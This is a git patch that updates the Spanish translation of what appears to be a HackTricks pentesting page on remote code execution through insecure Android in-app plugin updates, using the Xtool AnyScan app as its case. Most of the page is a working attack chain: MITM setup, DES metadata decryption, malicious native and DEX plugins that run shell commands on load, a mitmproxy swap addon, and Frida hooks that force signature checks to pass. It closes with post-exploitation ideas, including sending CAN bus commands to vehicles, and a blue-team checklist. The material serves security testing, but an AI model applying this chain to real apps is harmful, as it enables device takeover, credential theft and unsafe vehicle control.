From 5ab1560c0b3058f3ad3d2cbd9d79405566f5d0ed Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 04:08:17 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap --- .../insecure-in-app-update-rce.md | 192 ++++++++++++++---- 1 file changed, 151 insertions(+), 41 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index 34fc05df3..d0eaea821 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -1,16 +1,49 @@ -# Mecanismos de Actualización Insegura en la Aplicación – Ejecución Remota de Código a través de Plugins Maliciosos +# Mecanismos de actualización in-app inseguros – Remote Code Execution via Malicious Plugins {{#include ../../banners/hacktricks-training.md}} -Muchas aplicaciones de Android implementan sus **propios canales de actualización de “plugins” o “características dinámicas”** en lugar de utilizar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar el tráfico puede suministrar **código nativo arbitrario que se cargará dentro del proceso de la aplicación**, lo que lleva a una Ejecución Remota de Código (RCE) completa en el dispositivo – y en algunos casos en cualquier dispositivo externo controlado por la aplicación (coches, IoT, dispositivos médicos…). +Muchas aplicaciones Android implementan sus propios canales de actualización “plugin” o “dynamic feature” en lugar de usar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar o manipular el tráfico de actualización puede suministrar código nativo o Dalvik/ART arbitrario que se cargará dentro del proceso de la app, llevando a Remote Code Execution (RCE) total en el dispositivo — y en algunos casos en cualquier dispositivo externo controlado por la app (cars, IoT, medical devices …). -Esta página resume una cadena de vulnerabilidad del mundo real encontrada en la aplicación de diagnóstico automotriz Xtool **AnyScan** (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras aplicaciones de Android y aprovechar la mala configuración durante un compromiso de red team. +Esta página resume una cadena de vulnerabilidades real encontrada en la app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras apps Android y weaponise la mala configuración durante un red-team engagement. --- -## 1. Identificación de un TrustManager TLS Inseguro +## 0. Triado rápido: ¿la app tiene un actualizador in‑app? -1. Descompón el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…). -2. Busca un **`TrustManager`** o `HostnameVerifier` personalizado que confíe ciegamente en cada certificado: +Pistas estáticas para buscar en JADX/apktool: +- Cadenas: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Endpoints de red como `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Helpers criptográficos cerca de rutas de actualización (DES/AES/RC4; Base64; JSON/XML packs). +- Cargadores dinámicos: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Rutas de unzip que escriben en almacenamiento interno de la app o externo, y luego cargan inmediatamente un `.so`/DEX. + +Hooks en tiempo de ejecución para confirmar: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. Identificando un TrustManager TLS inseguro + +1. Descompila el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…). +2. Busca un `TrustManager` o `HostnameVerifier` personalizado que confíe ciegamente en cualquier certificado: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. Si está presente, la aplicación aceptará **cualquier certificado TLS** → puedes ejecutar un **proxy MITM** transparente con un certificado autofirmado: +3. Si está presente, la aplicación aceptará cualquier certificado TLS → puedes ejecutar un proxy MITM transparente con un self-signed cert: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. Ingeniería Inversa de los Metadatos de Actualización +Si TLS pinning está aplicado en lugar de la lógica insegura trust-all, ver: -En el caso de AnyScan, cada lanzamiento de la aplicación activa un GET HTTPS a: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Ingeniería inversa de los metadatos de actualización + +En el caso de AnyScan, cada lanzamiento de la app desencadena un HTTPS GET a: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -El cuerpo de la respuesta es un **documento XML** cuyas nodos `` contienen **JSON encriptado con DES-ECB y codificado en Base64** que describe cada plugin disponible. +El cuerpo de la respuesta es un documento XML cuyos nodos `` contienen JSON cifrado con DES-ECB y codificado en Base64 que describe cada plugin disponible. -Pasos típicos de búsqueda: -1. Localizar la rutina criptográfica (por ejemplo, `RemoteServiceProxy`) y recuperar: -* algoritmo (DES / AES / RC4 …) -* modo de operación (ECB / CBC / GCM …) -* clave / IV codificados de forma fija (a menudo claves DES de 56 bits o claves AES de 128 bits en constantes) -2. Re-implementar la función en Python para desencriptar / encriptar los metadatos: +Pasos típicos: +1. Localiza la rutina criptográfica (p. ej. `RemoteServiceProxy`) y recupera: +- algoritmo (DES / AES / RC4 …) +- modo de operación (ECB / CBC / GCM …) +- clave/IV codificados en el código (comúnmente constantes DES de 56‑bit o AES de 128‑bit) +2. Re-implementa la función en Python para descifrar/cifrar los metadatos: ```python from Crypto.Cipher import DES from base64 import b64decode, b64encode @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` +Notas observadas en el campo (2023–2025): +- Metadata suele ser JSON-within-XML o protobuf; los cifrados débiles y las claves estáticas son comunes. +- Muchos updaters aceptan HTTP sin TLS para la descarga del payload, incluso si metadata se entrega por HTTPS. +- Los Plugins con frecuencia descomprimen en app-internal storage; algunos todavía usan external storage o el legacy `requestLegacyExternalStorage`, lo que permite cross-app tampering. + +--- ## 3. Crear un Plugin Malicioso -1. Elige cualquier plugin legítimo en formato ZIP y reemplaza la biblioteca nativa con tu payload: +### 3.1 Ruta de la biblioteca nativa (dlopen/System.load[Library]) + +1. Elige cualquier plugin ZIP legítimo y reemplaza la biblioteca nativa con tu payload: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunte a tu servidor HTTP. -3. Encripta con DES + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado. +2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunten a tu servidor HTTP. +3. Re-encripta + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado. -## 4. Entrega la Carga Útil con mitmproxy +### 3.2 Ruta de plugin basada en Dex (DexClassLoader) -`addon.py` ejemplo que *silenciosamente* intercambia los metadatos originales: +Algunas apps descargan un JAR/APK y cargan código vía `DexClassLoader`. Construye un DEX malicioso que se ejecute al cargarse: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +Si el objetivo llama a `Class.forName("pwn.Dropper")` tu inicializador estático se ejecuta; de lo contrario, enumera reflectivamente las clases cargadas con Frida y llama a un método exportado. + +--- +## 4. Entregar el Payload con mitmproxy + +`addon.py` ejemplo que intercambia silenciosamente los metadatos originales: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -Ejecuta un servidor web simple para alojar el ZIP malicioso: +Ejecute un servidor web simple para alojar el ZIP/JAR malicioso: ```bash python3 -m http.server 8000 --directory ./payloads ``` -Cuando la víctima lanza la aplicación, esta: -* obtiene nuestro XML forjado a través del canal MITM; -* lo descifra y analiza con la clave DES codificada; -* descarga `PWNED.zip` → descomprime dentro del almacenamiento privado; -* `dlopen()` la *libscan_x64.so* incluida, ejecutando instantáneamente nuestro código **con los permisos de la aplicación** (cámara, GPS, Bluetooth, sistema de archivos, …). +Cuando la víctima lanza la app, esta: +- obtendrá nuestro XML forjado a través del canal MITM; +- lo descifrará y analizará con la crypto hard-coded; +- descargará `PWNED.zip` o `plugin.jar` → lo descomprimirá dentro del almacenamiento privado; +- cargará la `.so` incluida o DEX, ejecutando instantáneamente nuestro código con los permisos de la app (cámara, GPS, Bluetooth, sistema de archivos, …). -Debido a que el plugin se almacena en caché en el disco, el backdoor **persiste a través de reinicios** y se ejecuta cada vez que el usuario selecciona la función relacionada. - -## 5. Ideas de Post-Explotación - -* Robar cookies de sesión, tokens de OAuth o JWTs almacenados por la aplicación. -* Lanzar un APK de segunda etapa e instalarlo silenciosamente a través de `pm install` (la aplicación ya tiene `REQUEST_INSTALL_PACKAGES`). -* Abusar de cualquier hardware conectado: en el escenario de AnyScan, puedes enviar **comandos OBD-II / CAN bus** arbitrarios (desbloquear puertas, desactivar ABS, etc.). +Porque el plugin está cached on disk la backdoor persiste a través de reinicios y se ejecuta cada vez que el usuario selecciona la función relacionada. --- -### Lista de Verificación de Detección y Mitigación (equipo azul) +## 4.1 Eludir comprobaciones de firma/hash (cuando estén presentes) -* NUNCA envíes una versión de producción con un TrustManager/HostnameVerifier personalizado que desactive la validación de certificados. -* No descargues código ejecutable desde fuera de Google Play. Si *debes*, firma cada plugin con la misma clave **apkSigning v2** y verifica la firma antes de cargar. -* Reemplaza criptografía débil/codificada con **AES-GCM** y una clave rotativa del lado del servidor. -* Valida la integridad de los archivos descargados (firma o al menos SHA-256). +Si el updater valida firmas o hashes, hookea la verificación para que siempre acepte contenido del atacante: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +También considere simular métodos del proveedor como `PluginVerifier.verifySignature()`, `checkHash()`, o atajar la lógica de control de actualizaciones en Java o JNI. --- -## Referencias +## 5. Otras superficies de ataque en los actualizadores (2023–2025) + +- Zip Slip path traversal while extracting plugins: entradas maliciosas como `../../../../data/data//files/target` sobrescriben archivos arbitrarios. Siempre sanee las rutas de las entradas y use allow‑lists. +- External storage staging: si la app escribe el archivo en almacenamiento externo antes de cargarlo, cualquier otra app puede manipularlo. Scoped Storage o almacenamiento interno de la app evita esto. +- Cleartext downloads: metadata over HTTPS but payload over HTTP → intercambio MITM sencillo. +- Incomplete signature checks: comparar solo el hash de un único archivo, no de todo el archive; no vincular la firma a la clave del desarrollador; aceptar cualquier clave RSA presente en el archivo. +- React Native / Web-based OTA content: si los bridges nativos ejecutan JS desde OTA sin firma estricta, es posible la ejecución arbitraria de código en el contexto de la app (p. ej., insecure CodePush-like flows). Asegure detached update signing y una verificación estricta. + +--- +## 6. Ideas de post-explotación + +- Robar cookies de sesión, tokens OAuth, o JWTs almacenados por la app. +- Dejar un APK de segunda etapa e instalarlo silenciosamente vía `pm install` si es posible (algunas apps ya declaran `REQUEST_INSTALL_PACKAGES`). +- Abusar de cualquier hardware conectado – en el escenario AnyScan puedes enviar comandos arbitrarios OBD‑II / CAN bus (abrir puertas, desactivar ABS, etc.). + +--- +### Detection & Mitigation Checklist (blue team) + +- Evite la carga dinámica de código y las actualizaciones fuera de la tienda. Prefiera actualizaciones mediadas por Play. Si los plugins dinámicos son un requisito estricto, diseñe los bundles como data‑only y mantenga el código ejecutable en el APK base. +- Enforce TLS properly: no usar custom trust‑all managers; despliegue pinning donde sea factible y una configuración de seguridad de red endurecida que prohíba tráfico en texto claro. +- No descargue código ejecutable fuera de Google Play. Si debe hacerlo, use detached update signing (p. ej., Ed25519/RSA) con una clave en poder del desarrollador y verifique antes de cargar. Vincule metadata y payload (longitud, hash, versión) y falle cerrado. +- Use modern crypto (AES‑GCM) con nonces por mensaje para metadata; elimine claves hard‑coded de los clientes. +- Valide la integridad de los archivos descargados: verifique una firma que cubra cada archivo, o como mínimo verifique un manifiesto de hashes SHA‑256. Rechace archivos extra/desconocidos. +- Almacene las descargas en app‑internal storage (o scoped storage en Android 10+) y use permisos de archivo que eviten la manipulación entre apps. +- Defienda contra Zip Slip: normalice y valide las rutas de las entradas zip antes de la extracción; rechace rutas absolutas o segmentos `..`. +- Considere Play “Code Transparency” para permitirle a usted y a los usuarios verificar que el código DEX/nativo enviado coincide con lo que usted compiló (complementa pero no reemplaza la firma del APK). + +--- +## References - [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}